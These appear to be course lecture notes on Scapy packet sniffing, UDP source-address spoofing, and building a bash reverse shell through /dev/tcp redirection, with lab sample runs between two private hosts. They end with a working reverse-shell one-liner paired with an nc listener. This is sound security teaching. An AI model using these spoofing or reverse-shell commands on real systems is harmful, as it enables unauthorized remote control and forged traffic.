Lecture Overview

Scapy

Installation

sudo apt install python3-scapy

Packet Sniffing

You can find the documentation in here.

Here, we briefly show how to sniff packets using Scapy.

 
#!/usr/bin/python3
# sniff.py

from scapy.all import *

def show_pkt(pkt):
  print("Src:", pkt[IP].src + "(" + str(pkt[UDP].sport) + ")", end=", ")
  print("Dst:", pkt[IP].dst + "(" + str(pkt[UDP].dport) + ")" )

  if Raw in pkt:
    print("Raw: ", pkt[Raw])    # Raw: actual data 
  print()

sniff(filter="udp", prn=show_pkt, count=20)
You can run the program with the following command:
sudo ./sniff.py

Packet Spoofing

You can craft a packet using Scapy with much ease. In particular, Scapy allows stacking the layers using "/" operator. See the documentation in here.

Here, we show how to spoof a UDP packet using Scapy.


#!/usr/bin/python3
# spoof.py

from scapy.all import *

# crafting a packet: easy!
ip = IP(src="123.123.123.123", dst="192.168.172.5")
udp = UDP(sport=12345, dport=9000)
raw = b"faked packet!!"
pkt = ip/udp/raw

# check how the packet is crafted
pkt.show2()

# you can get the raw bytes of the IP packet
raw_data = bytes(pkt)

def hexshow(...):   # assume hexshow() is well written.
  ...

hexshow(raw_data)

# send!
send(pkt)
A sample run:
$ sudo ./spoof.py
###[ IP ]### 
  version   = 4
  ihl       = 5
  tos       = 0x0
  len       = 42
  id        = 1
  flags     = 
  frag      = 0
  ttl       = 64
  proto     = udp
  chksum    = 0x171e
  src       = 123.123.123.123
  dst       = 192.168.172.5
  \options   \
###[ UDP ]### 
     sport     = 12345
     dport     = 9000
     len       = 22
     chksum    = 0xb872
###[ Raw ]### 
        load      = 'faked packet!!'

  0|  45 00 00 2a 00 01 00 00  40 11 17 1e 7b 7b 7b 7b  |E..*....@...{{{{|
 16|  c0 a8 ac 05 30 39 23 28  00 16 b8 72 66 61 6b 65  |À¨¬.09#(..¸rfake|
 32|  64 20 70 61 63 6b 65 74  21 21                    |d packet!!|
.
Sent 1 packets.

Redirection to a TCP connection

In Linux, every I/O is treated as a file. In particular, even the standard input, output, errors are also files. Therefore, using redirection, any files can be used as the standard I/O to a program.

TCP connection can be a file

What's interesting is that a TCP connection can also be represented as a file. For example, a TCP connection with "192.168.172.5 (8000)" has a filename:
/dev/tcp/192.168.172.5/8000
Let's test if this is actually the case. Consider the following program:

#!/usr/bin/python3
# echo.py
s = input("")
print(s)
  1. At host 192.168.172.5, let's run the nc program:
    nc -lnv 8000
  2. At a different host, we run the echo program while the standard input is redirected to /dev/tcp/192.168.172.5/8000.
    ./echo.py < /dev/tcp/192.168.172.5/8000
  3. You will see that what you type in the nc chat will appear in the echo.py!!
    Host 192.168.172.4
    $ ./echo.py < /dev/tcp/192.168.172.5/8000
    hello
    
    Host 192.168.172.5
    $ nc -lnv 8000
    hello
    

Bash and redirection

The redirection can be applied to any program execution. In particular, we can execute a shell program bash and do the redirection:
/bin/bash -i < /dev/tcp/192.168.172.5/8000
In the above, the tag "-i" means interactive. Here is a sample execution:
Host 192.168.172.4
$ /bin/bash -i < /dev/tcp/192.168.172.5/8000
ls 
Desktop    Downloads  Music     Public     Videos
Documents  lab03      Pictures  Templates
Host 192.168.172.5
$ nc -lnv 8000
ls

Redirecting both input and output: a failed approach

Now, we can try to redirect both the standard input and output as follows:
./echo.py < /dev/tcp/192.168.172.5/8000 >/dev/tcp/192.168.172.5/8000
Unfortunately, the above command doesn't work. One possible fix is to use diffferent port numbers for input and output. However, it's not really elegant.

Reverse Shell

Let's first recall the file identifiers for standard I/O:
0    standard input
1    standard output
2    standard error
The right way to redirection is as follows:
  1. As before redirect the standard input to a tcp connection:
    ./echo.py < /dev/tcp/192.168.172.5/8000
  2. Redirect the standard output to the standard input instead of a tcp connection.
    ./echo.py < /dev/tcp/192.168.172.5/8000    >&0 
    Note: Filename for the standard input (i.e., &0 vs 0)
    • In the terminal, &0 is the filename for the standard input.
    • Note that 0 is a normal filename; i.e., it's a regular file with filename "0" -- it's not really the special standard output.
    • In summary, in order to tell the shell that we are using the standard I/O, you need to put & before 0.
    Sample execution:
    Host 192.168.172.4
    $ /bin/bash -i < /dev/tcp/192.168.172.5/8000 >&0
    $ ls
    $ pwd
    $ exit
    exit
    
    Host 192.168.172.5
    $ nc -lnv 8000
    Listening on localhost 8000
    Connection received on 192.168.172.4 57854
    ls
    Desktop
    Documents
    Downloads
    lab03
    Music
    Pictures
    Public
    Templates
    Videos
    pwd
    /home/choi
    exit
    

Redirecting the standard error

It turns out that the prompt is written to the standard error. So, we need also to redirect the standard error.
$ /bin/bash -i < /dev/tcp/192.168.172.5/8000 >&0  2>&0 
Note: Consider the last part of the redirection command:
2>&0
Sample execution:
Host 192.168.172.4
$ /bin/bash -i < /dev/tcp/192.168.172.5/8000 >&0 2>&0 
Host 192.168.172.5
$ nc -lnv 8000
Connection received on 192.168.172.4 57858
$ pwd
pwd
/home/choi
$  ls
ls
Desktop
Documents
Downloads
lab03
Music
Pictures
Public
Templates
Videos
$ exit
exit
exit

Reverse shell: Summary

/bin/bash -i < /dev/tcp/192.168.172.5/8000 >&0 2>&0